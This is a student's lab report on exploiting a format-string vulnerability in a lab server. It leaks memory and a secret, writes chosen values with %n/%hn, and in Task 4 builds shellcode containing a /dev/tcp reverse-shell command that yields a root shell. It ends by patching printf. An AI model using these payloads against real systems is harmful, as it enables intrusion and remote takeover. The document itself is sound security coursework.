Austin Leach

CIS 5627

Project 3

Task 1:

For this task I changed the string in the build_string.py to be a bunch of %s this caused the program to not return properly and crash.

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd130
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd068
server-10.9.0.5 | The target variable's value (before): 0x11223344
```

```
s = '%s' * 12
```

Task 2:

A. To do this I modified the s in build_string.py to print out a lot of %x until I found the first thing I inputted which was 0xdeadbeef.

```
 9 number  = 0xdeadbeef
10 content[0:4]  =  (number).to_bytes(4,byteorder='little')
```

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd130
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd068
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | ²abcd11223344ffffd13008049db5080e62d400000354080e5f
80ffffd06800000000080e5000ffffd0f808049f7bffffd13000000000000005c0804
9f44ffffd130080e9720000005dcffffd13000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000
00000000002b7f6b00080e5000080e5000ffffd71808049effffffd130000005dc0000
05dc080e5320000000000000000000000000ffffd7e40000000000000000000000000
0005dcdeadbeefThe target variable's value (after):  0x11223344
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

Doing this I was able to find that the start of the input is 60 %x in.

```
s = '%.08x' * 60
```

B. To find what the secret is I put the address of the secret that is printed out in the program as the first thing that I typed into the format string. Because I know that it is 60 arguments into the format string where the first part is written out I can do ‘%.08x’ 59 times and then %s to see the 60th argument as a string. This printed out the secret message in the output.

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd130
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd068
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 |@
                 abcd11223344ffffd13008049db5080e62d400000354080e5f80f
fffd06800000000080e5000ffffd0f808049f7bffffd13000000000000005c08049f4
4ffffd130080e9720000005dcffffd13000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000
0000000f5e28900080e5000080e5000ffffd71808049effffffd130000005dc000005d
c080e532000000000000000000000000ffffd7e40000000000000000000000000000
5dcA secret message
server-10.9.0.5 | The target variable's value (after):  0x11223344
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

The build_string.py had the following to do this.

```
 9 number  = 0x080b4008
10 content[0:4]  =  (number).to_bytes(4,byteorder='little')
```

```
22 s = '%.08x' * 59 + '%s'
```

Task 3:

A. I changed the number in build_string to be the address of the target variable and then did the same thing as finding the secret with doing ‘%.8x’ 59 times but instead followed it with %n to write that many bytes to the target.

```
 8 # This line shows how to store a 4-byte integer at offset 0
 9 number  = 0x080e5068
10 content[0:4]  =  (number).to_bytes(4,byteorder='little')
11
12 # This line shows how to store a 4-byte string at offset 4
13 content[4:8]  =  ("abcd").encode('latin-1')
14
15 # This line shows how to construct a string s with
16 #   12 of "%.8x", concatenated with a "%n"
17 s = "%.8x"*59 + '%n'
```

This changed the target variable to 0x000001e0

```
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | habcd11223344ffffd13008049db5080e62d400000354080e5f8
0ffffd06800000000080e5000ffffd0f808049f7bffffd13000000000000005c08049
f44ffffd130080e9720000005dcffffd13000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000
000000000f872bf00080e5000080e5000ffffd71808049effffffd130000005dc00000
5dc080e532000000000000000000000000ffffd7e40000000000000000000000000000
005dcThe target variable's value (after):  0x000001e0
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

B. To modify the target to 0x5000 I need to write out the correct amount of bytes total in the printf before doing %hhn to do this I used the start of the target address 0x0805068 and 0x0805069 as the second byte. After this I did a %n to zero out the top 2 bytes and then did 72 filler to get to 0x50 and then 176 filler in order to overflow the

value for a single byte back to 0x00 in order to get the 0x5000.

```
 8 # This line shows how to store a 4-byte integer at offset 0
 9 number  = 0x080e5068
10 content[0:4]  =  (number).to_bytes(4,byteorder='little')
11
12 number2 = 0x080e5069
13 # This line shows how to store a 4-byte string at offset 4
14 content[4:8]  =  (number2).to_bytes(4,byteorder='little')
15
16 # This line shows how to construct a string s with
17 #   12 of "%.8x", concatenated with a "%n"
18 s = '%60$n' + "#"*72 + '%61$hhn' + "#"*176 + '%60$hhn'
19
```

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd2d0
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd208
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | hi############################################################
################################################################################
################################################################################
############################The target variable's value (after):  0x00005000
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

C. To change the value to 0xaabbccdd I decided to use %hn. So for the first half 0xaabb I needed 43707 bytes total written. Because I am writing 8 bytes at the beginning for the addresses this means the number I need to write after will be 43707-8=43699. This gets it to 0xaabb, to get to 0xccdd I need to add more bytes written. 0xccdd = 52445 which means that the number of bytes that I need to write is 52445 - 43707 = 8738 to get to ccdd for the second half. I did that with the following code in build_string.py

```python
# This line shows how to store a 4-byte integer at offset 0
number  = 0x080e506a
content[0:4]  =  (number).to_bytes(4,byteorder='little')

number2  = 0x080e5068
content[4:8]  =  (number2).to_bytes(4,byteorder='little')

# This line shows how to store a 4-byte string at offset 4
#content[4:8]  =  ("@@@@").encode('latin-1')

# This line shows how to construct a string s with
#   12 of "%.8x", concatenated with a "%n"
s = '%.43699x' + '%60$hn' + '%.8738x' + '%61$hn'

# The line shows how to store the string s at offset 8
fmt  = (s).encode('latin-1')
content[8:8+len(fmt)] = fmt
```

Running this code gives this output.

```
---------------------------------------------------------------------------------
000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000ff916830The target variable's v
alue (after):  0xaabbccdd
```

Task 4:

Question 1: the value of the return address can be found using the printed out frame pointer. The frame pointer is $ebp which means the return address is $ebp + 4 which is

0xffffd1ec. The beginning of the buffer on the stack is also printed out in the program and is the input buffer's address which is 0xffffd4d0.

Question 2: You need 60 %x to be able to write to the start of the input buffer by.

I had to change the shellcode in order to include the command that allows you to get a reverse shell by redirecting the tcp input and output with this "/bin/bash -i > /dev/tcp/10.9.0.7/9090 0<&1 2>&1 *". I found that my terminal that was listening with nc was at 10.9.0.7. To find the addresses for the argv array that is used to get a reverse shell I used the input buffer address and added 1500 to it for the buffer size which gives the address 0xffffd7c4. This gets me the null byte at the end of the buffer which can be used as argv[3]. Because it is at the end of the buffer you need to do 0xffffd7c4 - 20 to get the address of argv[2] which is 0xffffd7b0 and the continue to do -4 in order to get argv[1] and argv[0] which makes the shellcode look like this.

```
# 32-bit Generic Shellcode
shellcode_32 = (
    "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
    "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
    "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
    "/bin/bash*"
    "-c*"
    # The * in this line serves as the position marker         *
    "/bin/bash -i > /dev/tcp/10.0.2.15/9090 0<&1 2>&1          *"
    "\xa8\xd7\xff\xff"   # Placeholder for argv[0] --> "/bin/bash"
    "\xac\xd7\xff\xff"   # Placeholder for argv[1] --> "-c"
    "\xb0\xd7\xff\xff"   # Placeholder for argv[2] --> the command string
    "\xc4\xd7\xff\xff"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

```

Then the next step was to write to the return address. The return address is the $ebp+4 which is 0xffffd2ec. This is the address to write to and the value needs to be the input buffer address plus some in order to land in the NOP sled that is in the input. I chose this value as 0xffffd6d6. I then did the math for the number of bytes needed to be written

in order to get this value the same as before and found the first one as 65527 to reach 0xffff and then 54999 to reach 0xd6d6 with it doing an overflow to get there.

```
N = 1500
# Fill the content with NOP's
content = bytearray(0x90 for i in range(N))

# Choose the shellcode version based on your target
shellcode = shellcode_32

# Put the shellcode somewhere in the payload
start = 1500 - len(shellcode)            # Change this number
content[start:start + len(shellcode)] = shellcode

################################################################
#
#    Construct the format string here
#
################################################################

#0xffffd2ee
#0xffffd2ec

number  = 0xffffd2ee
content[0:4]  =  (number).to_bytes(4,byteorder='little')

number2  = 0xffffd2ec
content[4:8]  =  (number2).to_bytes(4,byteorder='little')

# value for return address ffffd6d6

s = '%.65527x' + '%60$hn' + '%.54999x' + '%61$hn'

fmt  = (s).encode('latin-1')
content[8:8+len(fmt)] = fmt
```

After doing this and setting up a listening server I was able to get a root shell directed to it.

```
root@3f312ffcb285:/fmt# whoami
whoami
root
root@3f312ffcb285:/fmt# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.5  netmask 255.255.255.0  broadcast 10.9.0.255
        ether 02:42:0a:09:00:05  txqueuelen 0  (Ethernet)
        RX packets 204  bytes 45522 (45.5 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 159  bytes 9516 (9.5 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 31  bytes 2324 (2.3 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 31  bytes 2324 (2.3 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@3f312ffcb285:/fmt#
```

Here is my testing result to see if I was making it into the NOP sled before changing the command to be the reverse shell one.

```
                                                    @CG@[H@K
@KP@CT@KH1@1@@5 | @KL@K
             @@@@@/bin/bash*-c*/bin/ls -l; echo '===== Success! ======'
          *AAAABBBBCCCCDDDDThe target variable's value (after):  0x11223344
server-10.9.0.5 | total 820
server-10.9.0.5 | -rw------- 1 root root 319488 Oct 30 23:56 core
server-10.9.0.5 | -rwxrwxr-x 1 root root 709340 Oct 21 00:26 format
server-10.9.0.5 | -rwxrwxr-x 1 root root  17880 Oct 21 00:26 server
server-10.9.0.5 | ===== Success! ======
```

Task 6:

In order to fix the problem I changed the vulnerable line printf(msg); to

```
printf("%s",msg);
```

. This makes it so that the msg will not be interpreted as a format string and stops the vulnerability. I then did make again and got no warnings

from the compiler.

```
[10/30/23]seed@VM:~/.../server-code$ make
gcc -DBUF_SIZE=92 -z execstack  -static -m32 -o format-32 format.c
gcc -DBUF_SIZE=92 -z execstack  -o format-64 format.c
[10/30/23]seed@VM:~/.../server-code$ make install
cp server ../fmt-containers
cp format-* ../fmt-containers
```

When it is run again like this I get the following output.

```
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffcfe8
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | jh%.43699x%60$hn%.8738x%61$hnThe target variable's value (afte
r):  0x11223344
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```